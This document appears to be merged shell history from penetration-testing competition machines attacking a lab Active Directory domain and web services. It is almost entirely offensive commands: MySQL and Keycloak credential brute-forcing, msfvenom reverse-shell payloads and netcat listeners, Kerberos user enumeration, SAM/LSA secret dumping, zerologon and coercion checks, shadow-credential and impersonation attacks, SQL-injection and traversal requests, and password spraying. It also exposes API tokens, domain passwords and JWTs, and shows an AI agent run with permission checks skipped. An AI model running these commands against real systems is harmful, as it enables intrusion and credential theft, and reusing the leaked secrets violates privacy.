_raw:
: 1768071337:0;cat > mysql_exploit.sh << 'EOF'\
#!/bin/bash\
\
for host in 10.0.1.13 10.0.1.99; do\
    echo "[*] Testing MySQL on $host"\
    \
    # Test anonymous login\
    mysql -h $host -u root 2>&1 | grep -v "ERROR 1045"\
    mysql -h $host -u '' 2>&1 | grep -v "ERROR 1045"\
    \
    # Test common credentials\
    for user in root admin mysql user; do\
        for pass in "" root admin mysql password 123456; do\
            result=$(mysql -h $host -u $user -p"$pass" -e "SELECT 1;" 2>&1)\
            if ! echo "$result" | grep -q "ERROR"; then\
                echo "[+++] SUCCESS: $host - $user:$pass"\
                # Enumerate if we get in\
                mysql -h $host -u $user -p"$pass" << SQL\
SHOW DATABASES;\
SELECT user,host,authentication_string FROM mysql.user;\
SELECT * FROM information_schema.tables WHERE table_schema NOT IN ('mysql','information_schema','performance_schema');\
SQL\
            fi\
        done\
    done\
done\
EOF


_raw: : 1768071336:0;python3 bloodhound.py -d allports.local -u svc_stabilize -p gyroscope --zip -ns 10.0.1.6 -dc apt-dc-01 -c All


_raw: : 1768071281:0;python3 bloodhound.py -d allports.local -u svc_stabilize -p gyroscope --zip -ns 10.0.1.6 -dc allports-dc-01 -c All


_raw: : 1768071279:0;nxc ldap apt-dc-01.allports.local -u '' -p '' --users --groups --computers


_raw: : 1768071268:0;nxc ldap apt-dc-01.allports.local -u '' -p ''


_raw: : 1768071249:0;nxc ldap apt-dc-01.allports.local


_raw: : 1768071214:0;python3 -m pip install setuptools ldap3 impacket


_raw: : 1768071209:0;mysql -h 10.0.1.13 -u "root" -p --skip-ssl-verify-server-cert


_raw: : 1768071202:0;mysql -h 10.0.1.99 -u "root" -p --skip-ssl-verify-server-cert


_raw: : 1768071161:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.201 LPORT=4444 -f elf > rev-1.elf


_raw: : 1768071115:0;mysql -h 10.0.1.99 -u "root" -p --skip-ssl-verify-server-cert


_raw: : 1768071104:0;mysql -h 10.0.1.99 --ssl-verify-server-cert=false -u root


_raw: : 1768071078:0;smbclient //10.0.1.6/SYSVOL -U svc_stabilize


_raw:
: 1768071053:0;for user in admin administrator gps navigation captain operator; do\
    for pass in admin password gps GPS123 navigation Navigation123 allports; do\
        echo "[*] Testing GPS realm - $user:$pass"\
        response=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token \\
            -d "username=$user" \\
            -d "password=$pass" \\
            -d "grant_type=password" \\
            -d "client_id=admin-cli")\
        \
        if echo "$response" | grep -q "access_token"; then\
            echo "[+++] SUCCESS on GPS realm! $user:$pass"\
            echo "$response" | jq\
            break 2\
        fi\
    done\
done


_raw: : 1768071032:0;sudo apt install xfreerdp3


_raw: : 1768071016:0;xfreerdp /u:svc_stabilize /p:'1gyroscope' /d:allports.local /v:10.0.1.6 /cert-ignore +clipboard


_raw: : 1768071012:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.205 LPORT=4444 -f elf > rev-5.elf


_raw: : 1768071005:0;jq -r '.[] | "\(.clientId) - \(.name // "No name") - Public: \(.publicClient)"' gps_clients.json


_raw: : 1768070995:0;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M spider_plus --share SYSVOL


_raw:
: 1768070995:0;curl -s -H "Authorization: Bearer $TOKEN" \\
    http://10.0.1.13:8180/admin/realms/gps/clients \\
    | jq > gps_clients.json


_raw: : 1768070981:0;sudo vim /etc/profile.d/history-flush.sh


_raw: : 1768070969:0;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' --loggedon-users


_raw:
: 1768070968:0;curl -s -H "Authorization: Bearer $TOKEN" \\
    http://10.0.1.13:8180/admin/realms/gps/users \\
    | jq > gps_users.json


_raw: : 1768070966:0;sudo nano /usr/share/responder/Responder.conf


_raw: : 1768070932:0;impacket-getST -self -impersonate "BFINN" -altservice "cifs/DECKHAND-01.allports.local" -k -no-pass -dc-ip "10.0.1.6" "allports.local"/'DECKHAND-01$'


_raw: : 1768070922:0;ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u https://penny.allports.tours:8045/FUZZ


_raw: : 1768070907:0;ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u https://penny.allports.tours:8045/FUZZ -X POST


_raw: : 1768070906:0;nxc smb DECKHAND-01 -k --use-kcache --sam --lsa


_raw: : 1768070862:0;nxc smb DECKHAND-01 -k --use-kcache --sam --lsa


_raw: : 1768070859:0;ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u https://penny.allports.tours:8045


_raw: : 1768070853:0;nxc smb 10.0.1.6 -u users  -p users --no-bruteforce


_raw:
: 1768070843:0;curl -s -H "Authorization: Bearer $TOKEN" \\
    http://10.0.1.13:8180/admin/realms \\
    | jq > all_realms.json


_raw: : 1768070840:0;./bloodhound-cli config get default_password


_raw:
: 1768070833:0;curl -s -H "Authorization: Bearer $TOKEN" \\
    http://10.0.1.13:8180/admin/realms \\
    | jq -r '.[].realm'


_raw: : 1768070824:0;python bof_tester.py --all


_raw: : 1768070823:0;python bof_tester.py --all\


_raw: : 1768070822:0;echo "$TOKEN" > keycloak_token.txt


_raw:
: 1768070804:0;TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/master/protocol/openid-connect/token \\
    -d "username=$ADMIN_USER" \\
    -d "password=$ADMIN_PASS" \\
    -d "grant_type=password" \\
    -d "client_id=admin-cli" \\
    | jq -r '.access_token')


_raw:
: 1768070802:0;curl -X POST http://10.0.1.11:8045 \\
  -H "Content-Type: application/json" \\
  -d '{\
  "limit": 1000,\
  "table": "full_voyage_schedule.csv"\
}'


_raw: : 1768070773:0;certipy find -u REDACTED_EMAIL -p '1gyroscope' -dc-ip 10.0.1.6 -vulnerable -stdout


_raw: : 1768070759:0;certipy find -u REDACTED_EMAIL -p '1gyroscope' -dc-ip 10.0.1.6 -vulnerable -stdout


_raw: : 1768070730:0;ldapdomaindump 10.0.1.6 -u 'APT\pentester' -p ')u1h55hm-h(M(7nV' --no-json --no-grep -o domaindump


_raw: : 1768070721:0;sudo nano /usr/share/responder/Responder.conf


_raw: : 1768070716:0;ldapdomaindump 10.0.1.6 -u 'APT/pentester' -p ')u1h55hm-h(M(7nV' --no-json --no-grep -o domaindump


_raw: : 1768070712:0;claude "set up a listener on port 4444"


_raw: : 1768070692:0;feroxbuster -u https://a.rooms.allports.tours/api/admin --insecure


_raw: : 1768070692:0;feroxbuster -u https://a.rooms.allports.tours/api/admin --insecure -C 429


_raw: : 1768070692:0;feroxbuster -u https://a.rooms.allports.tours/api --insecure -C 429


_raw: : 1768070692:0;feroxbuster -u https://a.rooms.allports.tours/api --insecure --C 429


_raw: : 1768070692:0;feroxbuster -u https://a.rooms.allports.tours/api --insecure --filter 429


_raw: : 1768070692:0;feroxbuster -u https://a.rooms.allports.tours/api --insecure


_raw: : 1768070692:0;feroxbuster -u https://chat.allports.tours --insecure


_raw: : 1768070692:0;sudo apt install python3-requests


_raw: : 1768070692:0;python3 -m pip install requests


_raw: : 1768070692:0;feroxbuster -u https://chat.allports.tours/ --insecure


_raw: : 1768070692:0;feroxbuster -u https://chat.allports.tours/ --insercure


_raw: : 1768070692:0;feroxbuster -u https://chat.allports.tours/


_raw: : 1768070692:0;feroxbuster -u https://chat.allports.tours


_raw: : 1768070692:0;feroxbuster -u captain:$apr1$VbYr44rQ$w6ZA6HQH0tl.SjZsaFnKm/


_raw: : 1768070692:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.206 LPORT=4444 -f elf -o rev-6.elf\


_raw: : 1768070692:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local usernames-to-try.txt > valid-users.txt


_raw: : 1768070692:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local users.txt > valid-users.txt


_raw: : 1768070692:0;mv xato-net-10-million-usernames.txt usernames-to-try.txt


_raw: : 1768070692:0;cp /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt .


_raw: : 1768070692:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local users.txt


_raw: : 1768070692:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1768070692:0;./kerbrute_linux_amd64 userenum --dc 10.0.1.6 users.txt


_raw: : 1768070692:0;./kerbrute_linux_amd64 userenum -h


_raw: : 1768070692:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw:
: 1768070692:0;export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team7-key2-d745c793-604e-4150-9ee3-12d52dd219b6"


_raw: : 1768070692:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768070692:0;gobuster dns --domain allports.tours --wordlist /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt


_raw: : 1768070692:0;gobuster dns --doman allports.tours --wordlist /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt


_raw: : 1768070692:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.203 LPORT=4444 -f elf -o rev-3.elf\


_raw: : 1768070692:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.202 LPORT=4444 -f elf -o rev.elf


_raw: : 1768070677:0;cloud-init clean --machine-id -l -s


_raw: : 1768070677:0;apt install qemu-guest-agent


_raw: : 1768070677:0;apt install python3-pip python3-venv curl htop


_raw: : 1768070677:0;apt install openssh-server


_raw: : 1768070677:0;sudo apt install dphys-swapfile


_raw: : 1768070677:0;apt install systemd-zram-generator zram-tools


_raw: : 1768070651:0;sudo ./bloodhound-cli install


_raw: : 1768070625:0;sudo systemctl start docker


_raw: : 1768070609:0;curl -X OPTIONS -v https://a.rooms.allports.tours/api/diagnostics --insecure


_raw: : 1768070597:0;curl -X GET -v https://a.rooms.allports.tours/api/diagnostics --insecure


_raw: : 1768070595:0;curl -X GET -v https://a.rooms.allports.tours/api/diagnotics --insecure


_raw: : 1768070592:0;curl -X GET -v https://a.rooms.allports.tours/api/diagnottics --insecure


_raw: : 1768070587:0;curl -X GET -v https://a.rooms.allports.tours/api/diagnostic --insecure


_raw: : 1768070587:0;cat findings.txt| grep Domain


_raw: : 1768070582:0;cat findings.txt| grep domain


_raw: : 1768070581:0;curl -X GET -v https://a.rooms.allports.tours/api/admin --insecure


_raw: : 1768070563:0;python3 bloodhound.py -d allports.local -ns 10.0.1.6 -c All --zip -dc apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV'


_raw: : 1768070562:0;curl -X OPTIONS -v https://a.rooms.allports.tours/api/admin --insecure


_raw: : 1768070556:0;curl https://a.rooms.allports.tours/api/admin --insecure


_raw: : 1768070553:0;python3 bloodhound.py -d APT.local -ns 10.0.1.6 -c All --zip -dc apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV'


_raw: : 1768070551:0;curl -X OPTIONS https://a.rooms.allports.tours/api/admin --insecure


_raw: : 1768070541:0;python3 bloodhound.py -d APT -ns 10.0.1.6 -c All --zip -dc apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV'


_raw: : 1768070522:0;curl -X OPTIONS https://a.rooms.allports.tours/api/admin


_raw: : 1768070497:0;curl -k -s https://chat.allports.tours/logout


_raw: feroxbuster -u https://a.rooms.allports.tours/api/admin --insecure


_raw: feroxbuster -u https://a.rooms.allports.tours/api/admin --insecure -C 429


_raw: feroxbuster -u https://a.rooms.allports.tours/api --insecure -C 429


_raw: feroxbuster -u https://a.rooms.allports.tours/api --insecure --C 429


_raw: feroxbuster -u https://a.rooms.allports.tours/api --insecure --filter 429


_raw: feroxbuster -u https://a.rooms.allports.tours/api --insecure


_raw: feroxbuster -u https://10.0.1.99/api --insecure


_raw: feroxbuster -u https://10.0.1.99/api --insercure


_raw: feroxbuster -u https://chat.allports.tours --insecure


_raw: feroxbuster -u https://10.0.1.14 --insecure


_raw:
python -m http.server
nc -lvnp 9001
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.202 LPORT=4444 -f elf -o rev.elf
msfconsole
python3 -m http.server
python3 -m http.server 80
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.203 LPORT=4444 -f elf -o rev-3.elf\
ip
ip a
clear
rlwrap nc -lvnp 9001
nc -nvlp 4444
mysql -h 10.0.1.13 -u boatgps -p @'nchor2024'
mysql -h 10.0.1.13 -u boatgps
mysql -h 10.0.1.13 -u boatgps --ignore-ssl
mysql --help
mysql -h
mysql -h 10.0.1.13 -u boatgps --skip-ssl
mysql -h 10.0.1.13 -u boatgps --skip-ssl -p
mysql -h 10.0.1.99 -u boatgps --skip-ssl -p
mysql -h 10.0.1.13 -u boatgps --skip-ssl -p
mysql -h 10.0.1.13 -u root --skip-ssl
mysql -h 10.0.1.13 -u root --skip-ssl -p ""
mysql -h 10.0.1.13 -u boatgps --skip-ssl -p
nc 10.0.1.10 9000
ssh boatgps@10.0.1.13
ssh boatgps@10.0.1.15
ping 10.0.1.15
ping 10.0.1.13
ssh boatgps@10.0.1.15
ssh boatgps@10.0.1.13
gobuster dns --help
nslookup gps.allports.tours
gobuster dns
seclists
gobuster dns --doman allports.tours --wordlist /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt
gobuster dns --domain allports.tours --wordlist /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt
nslookup allports.tours
nslookup media.allports.tours
nslookup penny.allports.tours
mkdir autorecon
cd autorecon
clear
sudo -s
code ~/autorecon/results
ls
claude
ls
cd autorecon/results
ls
curl -fsSL https://claude.ai/install.sh | bash
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team7-key2-d745c793-604e-4150-9ee3-12d52dd219b6"
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team7-key2-d745c793-604e-4150-9ee3-12d52dd219b6"' >> ~/.bashrc
source ~/.bashrc
clear
bash
cd /tmp
ls
cd claude
ls
cd ..
ls
cd pentester-code-zsh
ls
cat user
cat users.txt
ls
cd /tmp
ls
ls -lahR
cat *.output
ls
cat claude*
./kerbrute_linux_amd64 users.txt
./kerbrute_linux_amd64 --help
./kerbrute_linux_amd64 userenum
./kerbrute_linux_amd64 userenum -h
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 users.txt
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local users.txt
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local users.txt
vim /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
cp /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt .
ls
mv xato-net-10-million-usernames.txt usernames-to-try.txt
ls
vim usernames-to-try.txt
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local users.txt > valid-users.txt
vim valid-users.txt
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 --domain allports.local usernames-to-try.txt > valid-users.txt
nc -nvlp 4444
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.206 LPORT=4444 -f elf -o rev-6.elf\
ls
python3 -m http.server 80
python3 -m http.server 81
python3 -m http.server 79
ls
cd ~
ls
mkdir hashcrack
cd hashcrack
vim captain.hash
claude
ls
cd ..
mkdir jwt
cd jwt
ls
vim jwt.txt
ls
claude
ls
cat jwt.txt
python3 -m http.server
ls
claude
ls
python3 -m http.server
claude
feroxbuster -u captain:$apr1$VbYr44rQ$w6ZA6HQH0tl.SjZsaFnKm/
feroxbuster -u https://chat.allports.tours
feroxbuster -u https://chat.allports.tours/
feroxbuster -u https://chat.allports.tours/ --insercure
feroxbuster -u https://chat.allports.tours/ --insecure
ls
cd
ls
mkdir chat
cd chat
ls
vim token.p
vim token.py
python3
python3 token.py
vim token.py
python3 token.py
python3 -m pip install requests
cat ~/password.txt
sudo apt install python3-requests
vim token.py
python3 token.py
mv token.py guess.py
python3 guess.py
vim token.py
vim
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
vim validate.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
vim token.py
ls
python3 validate.py
cat validate.py
python3 guess.py
vim guess.py
python3
vim guess.py
python3 guess.py
nc 10.0.1.10 9000
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
uuid
cat ~/password.txt
uuid
ls
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim guess.py
python3 guess.py
vim /etc/hosts
sudo vim /etc/hosts
nc 10.0.1.10 6768
feroxbuster -u https://10.0.1.11:8081
feroxbuster -u http://10.0.1.11:8081
feroxbuster -u http://10.0.1.11:8045
feroxbuster -u http://10.0.1.11:8045/docs
feroxbuster -u http://10.0.1.11:8045/ --dont-filter
feroxbuster -u http://10.0.1.14
feroxbuster -u https://10.0.1.14
feroxbuster -u https://10.0.1.14:80


_raw:
ls
cat password.txt
ls
cd Downloads
ls
vim test.py
ip a
10.0.254.202/24
nc -lvnp 9001
ip a
ls
mkdir privesc
cd privesc
ls
wget https://github.com/peass-ng/PEASS-ng/releases/download/20260101-f70f6a79/linpeas.sh
ls
ip a
python3 -m http.server 80
python3 -m http.server 81


_raw: : 1768070407:0;git clone https://github.com/ly4k/Certipy


_raw: : 1768070405:0;python3 -m pip install ldap3 impacket


_raw: : 1768070401:0;python3 -m pip install ldap3 impcaket


_raw: : 1768070382:0;feroxbuster -u https://a.rooms.allports.tours/api/admin --insecure


_raw: : 1768070377:0;python3 password_spray.py -u 99user.txt -p iamthecaptain_passwords.txt -t https://a.rooms.allports.tours/admin.html -d 1


_raw: : 1768070372:0;feroxbuster -u https://a.rooms.allports.tours/api/admin --insecure -C 429


_raw: : 1768070364:0;feroxbuster -u https://a.rooms.allports.tours/api --insecure -C 429


_raw: : 1768070361:0;feroxbuster -u https://a.rooms.allports.tours/api --insecure --C 429


_raw: : 1768070357:0;certipy find -u REDACTED_EMAIL -p '1gyroscope' -dc-ip 10.0.1.6 -vulnerable -stdout


_raw: : 1768070355:0;python3 -m pip install setuptools


_raw: : 1768070340:0;smbmap -H 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw:
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team6-key4-6f1a57be-dac3-4594-908d-6504eae67b29"
claude
cd cptc11-compliance-pod3
ls
claude
claude --dangerously-skip-permissions
mv ballast_login_test.py ../ballast.py
cd ..
claude --dangerously-skip-permissions


_raw: : 1768070329:0;git clone https://github.com/dirkjanm/BloodHound.py.git -b bloodhound-ce


_raw: : 1768070308:0;feroxbuster -u https://a.rooms.allports.tours/api --insecure --filter 429


_raw: : 1768070308:0;addcomputer.py -computer-name FINALS02-test -computer-pass 'F1n@L$02-Jana' -dc-ip 10.0.1.6 allports.tours/svc_stabilize


_raw:
: 1768070304:0;curl -X POST "http://target/api/check_weather.php" \\
  -H "Content-Type: application/json" \\
  -H "X-Forwarded-For: 127.0.0.1' AND SLEEP(5)-- -" \\
  -d '{"waypoints":[{"lat":25.76,"lon":-80.19,"name":"Test"}]}'


_raw: : 1768070298:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -M coerce_plus


_raw: : 1768070285:0;python3 pywhisker.py -d allports.local -u svc_stabilize -p '1gyroscope' --target "APT-DC-01$" --action add --dc-ip 10.0.1.6


_raw: : 1768070284:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -M zerologon


_raw: : 1768070271:0;python3 pywhisker.py -d allports.local -u svc_stabilize -p '1gyroscope' --target svc_stabilize --action list --dc-ip 10.0.1.6


_raw: : 1768070250:0;tar -xvzf bloodhound-cli-linux-amd64.tar.gz


_raw: : 1768070246:0;python3 pywhisker.py -d allports.local -u svc_stabilize -p '1gyroscope' --target svc_stabilize --action list --dc-ip 10.0.1.6


_raw:
: 1768070239:0;echo "[*] Registering account and checking response for tokens..."\
  curl -k -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "tokentest",\
      "password": "Test123"\
    }' | grep -i -E '(token|session|jwt|password|secret|key)'\
\
  echo -e "\n[*] Requesting password reset and checking for tokens..."\
  curl -k -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL"}' | grep -i -E '(token|reset)'\


_raw: : 1768070221:0;git clone https://github.com/ShutdownRepo/pywhisker


_raw: : 1768070219:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M coerce_plus


_raw: : 1768070206:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M dfs_coerce


_raw: : 1768070206:0;python3 -m pip install setuptools


_raw: : 1768070200:0;python3 pip install setuptools


_raw:
: 1768070182:0;curl -k -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL'\'' UNION SELECT NULL--",\
      "username": "test",\
      "password": "Test123"\
    }'


_raw: : 1768070179:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -M get-desc-users


_raw: : 1768070168:0;cp plugin.zip ../Desktop/srv


_raw: : 1768070168:0;zip plugin.zip manifest.json Plugin.dll


_raw: : 1768070168:0;cp Jellyfin.Plugin.Template/bin/Debug/net8.0/Jellyfin.Plugin.Template.dll plugin.dll


_raw: : 1768070168:0;cp Jellyfin.Plugin.Template/bin/Debug/net8.0/Jellyfin.Plugin.Template.dll ,


_raw: : 1768070168:0;dotnet build Jellyfin.Plugin.Template/Jellyfin.Plugin.Template.csproj


_raw:
: 1768070168:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team6-key6-1b70ef37-03b2-433f-baa4-006fd3aae800"' >> ~/.bashrc\
source ~/.bashrc\
\
\
\


_raw: : 1768070168:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768070168:0;git clone https://github.com/jellyfin/jellyfin-plugin-template


_raw:
: 1768070146:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1NjYzNzI2MDFhZmM0YWM4OGEyYiIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2ODA3MDA2NSwiZXhwIjoxNzY4MDcwOTY1fQ.-LVf09Xn8-9IQoA4KF8u-FOe1f7uPcHMIepHcY3Npqc' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw: : 1768070138:0;AD-miner -c -cf Report -u 'neo4j' -p 'neo4j'


_raw: : 1768070126:0;cloud-init clean --machine-id -l -s


_raw: : 1768070126:0;apt install qemu-guest-agent


_raw: : 1768070126:0;apt install python3-pip python3-venv curl htop


_raw: : 1768070126:0;apt install openssh-server


_raw: : 1768070126:0;sudo apt install dphys-swapfile


_raw: : 1768070126:0;apt install systemd-zram-generator zram-tools


_raw:
ls
cd pass
ca password.txt
cat password.txt
nmap -sV -vv 10.0.1.14
curl -fsSL https://claude.ai/install.sh | bash
[200~unzip cptc-ai-example.zip
ls
cd Downloads
ls
unzip cptc-ai-example.zip
cd cptc-ai-example
ls
uv sync
curl -LsSf https://astral.sh/uv/install.sh | sh
uv sync
cp config.yaml.example config.yaml
sudo nano config.yaml
cat
cat password.txt
cd ..
ls
cd ..
ls
cat password.txt
SU root
su
su -root
su - root


_raw:
: 1768070118:0;curl -k -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "../../../etc/passwd",\
      "username": "traversal",\
      "password": "Test123"\
    }'\
\


_raw:
: 1768070117:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1NGRiZDEyMDQ5ZGNjOGI3ZTQyYyIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2ODA2OTg1NiwiZXhwIjoxNzY4MDcwNzU2fQ.VpB-0gbKWEHoXYDxXcguNdthqu85imN2drDLZlPzZbM' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw: : 1768070106:0;AD-miner -c -cf Report -u 'neo4j' -p 'neo4j'


_raw: : 1768070104:0;crackmapexec smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M webdav


_raw: : 1768070081:0;crackmapexec smb 10.0.1.6 -u username -p password -M webdav


_raw: : 1768070080:0;sudo apt install docker.io docker-compose


_raw: : 1768070073:0;git clone https://github.com/dirkjanm/BloodHound.py.git -b bloodhound-ce


_raw: : 1768070041:0;feroxbuster -u https://a.rooms.allports.tours/api --insecure


_raw: : 1768070014:0;sudo apt install freerdp2-x11


_raw: : 1768070011:0;cp sliver/yuliang_10.0.254.201.cfg ~/.sliver-client/configs


_raw:
: 1768069987:0;curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1NjYzNzI2MDFhZmM0YWM4OGEyYiIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2ODA2OTY1NSwiZXhwIjoxNzY4MDcwNTU1fQ.1bamzr5rZRShnPvlztTE-gGpzBPw-PAO4l0Tf1XDzsE' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }\
}'


_raw: : 1768069986:0;sudo apt install freerdp2-x11


_raw:
: 1768069984:0;[200~curl -X 'POST' \\
  'https://penny.allports.tours:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1NjYzNzI2MDFhZmM0YWM4OGEyYiIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2ODA2OTY1NSwiZXhwIjoxNzY4MDcwNTU1fQ.1bamzr5rZRShnPvlztTE-gGpzBPw-PAO4l0Tf1XDzsE' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "like": {\
    "column": "%pattern%"\
  },\
  "limit": 10,\
  "order_by": [\
    {\
      "col": "column",\
      "desc": false\
    }\
  ],\
  "select": [\
    "*"\
  ],\
  "table": "data_table",\
  "where": {\
    "column": {\
      "=": "value"\
    }\
  }~\


_raw: : 1768069969:0;dfsutil /Root:\\allports.local /View


_raw: : 1768069957:0;sudo npm install -g @anthropic-ai/claude-cli


